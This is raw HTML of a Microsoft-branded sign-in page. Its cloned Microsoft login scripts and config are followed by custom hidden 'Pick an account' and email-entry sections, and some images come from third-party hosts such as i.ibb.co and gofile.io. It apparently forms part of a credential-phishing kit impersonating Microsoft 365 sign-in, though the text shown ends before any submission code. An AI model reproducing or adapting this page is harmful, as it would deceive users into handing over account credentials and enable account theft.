AD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
